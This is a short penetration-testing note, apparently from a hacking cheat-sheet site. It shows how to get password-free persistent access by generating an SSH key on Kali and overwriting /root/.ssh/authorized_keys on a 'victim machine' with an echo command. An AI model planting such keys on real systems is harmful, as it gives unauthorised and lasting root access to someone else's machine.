SSH Key
On Kali, generate SSH key pair:
ssh-keygen
Store the content of id_rsa.pub
into /root/.ssh/authorized_keys
on the victim machine:
echo '<id_rsa.pub_content>' > /root/.ssh/authorized_keys
Then we can SSH in without password.
Last updated
Was this helpful?